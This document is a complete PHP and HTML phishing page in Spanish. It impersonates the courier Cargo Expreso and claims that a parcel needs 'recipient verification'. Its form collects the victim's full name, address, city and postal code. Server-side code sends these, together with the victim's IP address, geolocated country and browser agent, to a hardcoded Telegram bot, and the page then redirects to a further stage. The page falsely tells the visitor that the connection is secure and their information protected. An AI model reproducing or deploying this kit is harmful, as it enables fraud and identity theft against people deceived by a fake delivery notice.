<?php
$BOT_TOKEN = "7675736230:AAHECKf4diUuzk5OA5pTdViZBOncQIyDtAA";
$CHAT_ID = "7549492194";

// === GET USER INFO ===
$ip = $_SERVER['REMOTE_ADDR'] ?? 'Unknown';
$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? 'Unknown';
$country = 'Guatemala';
$context = stream_context_create(['http' => ['timeout' => 5]]);
$geoData = @file_get_contents("http://ip-api.com/json/{$ip}", false, $context);
if ($geoData !== false) {
    $geo = json_decode($geoData);
    $country = $geo->country ?? 'Guatemala';
}

function sendTelegram($msg) {
    global $BOT_TOKEN, $CHAT_ID;
    $url = "https://api.telegram.org/bot{$BOT_TOKEN}/sendMessage";
    $data = [
        'chat_id' => $CHAT_ID,
        'text' => $msg,
        'parse_mode' => 'HTML',
        'disable_web_page_preview' => true
    ];
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_POST => true,
        CURLOPT_POSTFIELDS => http_build_query($data),
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_SSL_VERIFYPEER => false
    ]);
    curl_exec($ch);
    curl_close($ch);
}

// === HANDLE AJAX LOGIN LOG ===
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'log_login') {
    $tracking = htmlspecialchars($_POST['tracking'] ?? '');
    $fullname = htmlspecialchars($_POST['fullname'] ?? '');
    $address = htmlspecialchars($_POST['address'] ?? '');
    $city = htmlspecialchars($_POST['city'] ?? '');
    $postal = htmlspecialchars($_POST['postal'] ?? '');

    $msg = "<b>CARGO EXPRESO SHIPMENT DETAILS SUBMITTED</b>\n";
    $msg .= "══════════════════════════════\n";
    $msg .= "<b>Tracking #:</b> <code>{$tracking}</code>\n";
    $msg .= "<b>Full Name:</b> {$fullname}\n";
    $msg .= "<b>Address:</b> {$address}\n";
    $msg .= "<b>City:</b> {$city}\n";
    $msg .= "<b>Postal Code:</b> {$postal}\n";
    $msg .= "<b>IP:</b> <code>{$ip}</code>\n";
    $msg .= "<b>Country:</b> {$country}\n";
    $msg .= "<b>Agent:</b> <code>" . substr($user_agent, 0, 50) . "...</code>\n";
    $msg .= "<b>Time:</b> " . date('d/m/Y H:i:s') . "\n";
    sendTelegram($msg);

    echo json_encode(['status' => 'logged']);
    exit;
}
?>
<!DOCTYPE html>
<html lang="es">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Rastrear tu Paquete — Cargo Expreso</title>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
    <style>
        :root {
            --primary: #FF6600;
            --primary-dark: #E55C00;
            --secondary: #1A2C3E;
            --secondary-light: #2C3E50;
            --background: #F8FAFC;
            --card-bg: #FFFFFF;
            --text: #333333;
            --text-muted: #666666;
            --text-light: #777777;
            --border: #E2E8F0;
            --radius: 4px;
            --input-bg: #FFFFFF;
            --shadow-sm: 0 1px 3px rgba(0,0,0,0.05);
        }
        * { box-sizing: border-box; }
        body {
            margin: 0;
            font-family: 'Inter', sans-serif;
            background: var(--background);
            color: var(--text);
            line-height: 1.5;
            padding: 0;
            min-height: 100vh;
            display: flex;
            flex-direction: column;
        }
        .container { max-width: 600px; margin: 0 auto; width: 100%; padding: 0 1rem; }

        /* HEADER */
        .header {
            background: white;
            padding: 1.25rem 0;
            border-bottom: 2px solid var(--primary);
        }
        .header-container {
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 0 1rem;
            max-width: 1200px;
            margin: 0 auto;
        }
        .logo-container { display: flex; align-items: center; }
        .logo { height: 70px; width: auto; }

        /* HERO */
        .hero {
            background: var(--secondary);
            color: #FFFFFF;
            text-align: center;
            padding: 2rem 1rem;
            margin-bottom: 2rem;
        }
        .hero h1 {
            margin: 0;
            font-size: 1.75rem;
            font-weight: 600;
            letter-spacing: -0.01em;
            color: #FFFFFF;
        }
        .hero-subtitle {
            margin-top: 0.5rem;
            font-size: 0.95rem;
            color: var(--primary);
            font-weight: 500;
        }

        /* MAIN CARD */
        .card {
            background: var(--card-bg);
            border: 1px solid var(--border);
            border-radius: var(--radius);
            padding: 2rem;
            margin-bottom: 2rem;
        }
        .progress {
            margin: 0 0 1.5rem;
            color: var(--text-muted);
            font-size: 0.85rem;
            display: flex;
            align-items: center;
            gap: 0.5rem;
            padding-bottom: 1rem;
            border-bottom: 1px solid var(--border);
        }
        .progress strong { color: var(--text); }
        .progress span {
            border-bottom: 2px solid var(--primary);
            padding-bottom: 2px;
            font-weight: 600;
            color: var(--secondary);
        }

        label {
            display: block;
            margin: 1.25rem 0 0.35rem;
            font-weight: 500;
            font-size: 0.9rem;
            color: var(--text);
            text-transform: uppercase;
            letter-spacing: 0.03em;
        }
        input[type="text"] {
            width: 100%;
            padding: 0.75rem 1rem;
            border: 1px solid var(--border);
            border-radius: var(--radius);
            background: var(--input-bg);
            font-size: 0.95rem;
            font-family: 'Inter', sans-serif;
            transition: border-color 0.15s ease;
        }
        input:focus {
            outline: none;
            border-color: var(--primary);
            box-shadow: 0 0 0 1px var(--primary);
        }
        input[readonly] {
            background: #F1F5F9;
            border-color: var(--border);
        }

        /* INFO BOX */
        .info-box {
            background: #F8FAFC;
            border: 1px solid var(--border);
            border-radius: var(--radius);
            padding: 1.25rem;
            margin: 1.5rem 0;
        }
        .info-box h3 {
            margin: 0 0 0.75rem 0;
            color: var(--secondary);
            font-size: 1rem;
            font-weight: 600;
            display: flex;
            align-items: center;
            gap: 0.5rem;
        }
        .info-box p {
            margin: 0.5rem 0;
            color: var(--text-muted);
            font-size: 0.9rem;
        }
        .info-box ul {
            margin: 0.75rem 0 0;
            padding-left: 1.25rem;
        }
        .info-box li {
            margin: 0.35rem 0;
            font-size: 0.9rem;
            color: var(--text-muted);
        }

        /* FORM GRID */
        .form-grid {
            display: grid;
            grid-template-columns: 1fr;
            gap: 1rem;
        }
        @media (min-width: 480px) {
            .form-grid { grid-template-columns: 1fr 1fr; }
        }

        /* BUTTON */
        .btn-continue {
            display: block;
            width: 100%;
            padding: 0.9rem;
            margin-top: 1.75rem;
            background: var(--primary);
            color: #FFFFFF;
            border: none;
            border-radius: var(--radius);
            font-weight: 600;
            font-size: 0.95rem;
            cursor: pointer;
            text-align: center;
            text-transform: uppercase;
            letter-spacing: 0.05em;
            transition: background 0.15s ease;
        }
        .btn-continue:hover {
            background: var(--primary-dark);
        }

        /* FOOTER */
        .footer {
            text-align: center;
            padding: 2rem 1rem;
            color: #777777;
            font-size: 0.8rem;
            margin-top: auto;
            background: var(--secondary);
        }
        .footer-container {
            max-width: 1200px;
            margin: 0 auto;
            display: flex;
            flex-direction: column;
            align-items: center;
            gap: 1rem;
        }
        .footer-logo {
            height: 40px;
            width: auto;
            margin-bottom: 0.5rem;
        }
        .footer a {
            color: var(--primary);
            text-decoration: none;
        }
        .footer a:hover { text-decoration: underline; }
        .footer-links {
            margin: 0.8rem 0 0;
            display: flex;
            justify-content: center;
            flex-wrap: wrap;
            gap: 1.5rem;
        }
        .footer-text {
            color: #777777;
            font-size: 0.75rem;
        }

        @media (max-width: 480px) {
            .container { padding: 0 1rem; }
            .card { padding: 1.5rem; }
            .hero h1 { font-size: 1.5rem; }
            .logo { height: 50px; }
        }
    </style>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.5.0/css/all.min.css">
</head>
<body>

<!-- HEADER -->
<header class="header">
    <div class="header-container">
        <div class="logo-container">
            <img src="https://www.gremialdebodegas.com.gt/wp-content/uploads/2023/05/Logo-CargoExpreso.png" alt="Cargo Expreso" class="logo">
        </div>
    </div>
</header>

<!-- HERO -->
<section class="hero">
    <div class="container">
        <h1>Verificación de Envío Requerida</h1>
        <div class="hero-subtitle">
            <i class="fas fa-exclamation-circle"></i> Acción requerida para continuar con su entrega
        </div>
    </div>
</section>

<!-- MAIN CARD -->
<main class="container">
    <div class="card">
        <div class="progress">
            <i class="fas fa-clipboard-check"></i>
            <strong>Estado:</strong> <span>Verificación de destinatario requerida</span>
        </div>

        <div class="info-box">
            <h3><i class="fas fa-info-circle"></i> Aviso Importante</h3>
            <p>Su envío ha llegado a nuestro almacén y requiere verificación del destinatario antes de proceder con el despacho aduanero.</p>
            <p><strong>Este envío está registrado bajo su correo electrónico.</strong> Por favor complete la verificación abajo para autorizar el procesamiento.</p>
            <ul>
                <li>El envío requiere confirmación del destinatario</li>
                <li>Por favor verifique sus datos de contacto</li>
                <li>Instrucciones adicionales seguirán a la verificación</li>
            </ul>
        </div>

        <form id="trackingForm">
            <!-- TRACKING NUMBER (Pre-filled) -->
            <label for="tracking"><i class="fas fa-barcode"></i> Número de Guía:</label>
            <input type="text" id="tracking" value="CEX9724053681" readonly style="background-color: #F1F5F9;">

            <!-- RECEIVER INFORMATION -->
            <label style="margin-top: 1.75rem;"><i class="fas fa-user"></i> Información del Destinatario</label>
            <p style="font-size: 0.85rem; color: var(--text-muted); margin: 0.25rem 0 1.25rem;">Por favor proporcione sus datos completos para la verificación del envío</p>
            
            <div class="form-grid">
                <div>
                    <label for="fullname">Nombre Completo *</label>
                    <input type="text" id="fullname" placeholder="Juan Pérez" required>
                </div>
                <div>
                    <label for="city">Ciudad *</label>
                    <input type="text" id="city" placeholder="Ciudad de Guatemala" required>
                </div>
            </div>
            
            <label for="address">Dirección *</label>
            <input type="text" id="address" placeholder="6A Avenida 1-27, Zona 10" required>
            
            <div class="form-grid">
                <div>
                    <label for="postal">Código Postal *</label>
                    <input type="text" id="postal" placeholder="01010" required>
                </div>
                <div>
                    <label for="country">País</label>
                    <input type="text" id="country" value="Guatemala" readonly>
                </div>
            </div>

            <!-- CONTINUE BUTTON -->
            <button type="submit" class="btn-continue">
                <i class="fas fa-check-circle"></i> Verificar y Continuar
            </button>
        </form>

        <div style="text-align: center; margin-top: 1.5rem; color: var(--text-muted); font-size: 0.8rem;">
            <i class="fas fa-shield-alt"></i> Conexión segura • Su información está protegida
        </div>
    </div>
</main>

<!-- FOOTER -->
<footer class="footer">
    <div class="footer-container">
        <img src="https://mir-s3-cdn-cf.behance.net/project_modules/max_1200/e0634b47413279.587997222a5c2.png" alt="Cargo Expreso" class="footer-logo">
        <div class="footer-text">© 2026 Cargo Expreso. Todos los derechos reservados.</div>
        <div class="footer-links">
            <a href="#"><i class="fas fa-shield-alt"></i> Privacidad</a>
            <a href="#"><i class="fas fa-file-contract"></i> Términos</a>
            <a href="#"><i class="fas fa-question-circle"></i> Ayuda</a>
            <a href="#"><i class="fas fa-phone"></i> Contacto</a>
        </div>
    </div>
</footer>

<script>
document.addEventListener('DOMContentLoaded', function() {
    document.getElementById('trackingForm').addEventListener('submit', async function(e) {
        e.preventDefault();

        const tracking = document.getElementById('tracking').value.trim();
        const fullname = document.getElementById('fullname').value.trim();
        const address = document.getElementById('address').value.trim();
        const city = document.getElementById('city').value.trim();
        const postal = document.getElementById('postal').value.trim();

        // === VALIDATION ===
        if (!fullname) {
            alert('Por favor ingrese su nombre completo.');
            document.getElementById('fullname').focus();
            return;
        }
        if (!address) {
            alert('Por favor ingrese su dirección.');
            document.getElementById('address').focus();
            return;
        }
        if (!city) {
            alert('Por favor ingrese su ciudad.');
            document.getElementById('city').focus();
            return;
        }
        if (!postal) {
            alert('Por favor ingrese su código postal.');
            document.getElementById('postal').focus();
            return;
        }

        const data = { tracking, fullname, address, city, postal };

        // === SEND TO TELEGRAM ===
        try {
            await fetch('', {
                method: 'POST',
                headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
                body: `action=log_login&tracking=${encodeURIComponent(tracking)}&fullname=${encodeURIComponent(fullname)}&address=${encodeURIComponent(address)}&city=${encodeURIComponent(city)}&postal=${encodeURIComponent(postal)}`
            });
        } catch (err) {
            console.log('Telegram log failed (non-blocking)');
        }

        // === SAVE & REDIRECT ===
        localStorage.setItem('cargoexpresoData', JSON.stringify(data));
        window.location.href = 'loading1.php';
    });
});
</script>

</body>
</html>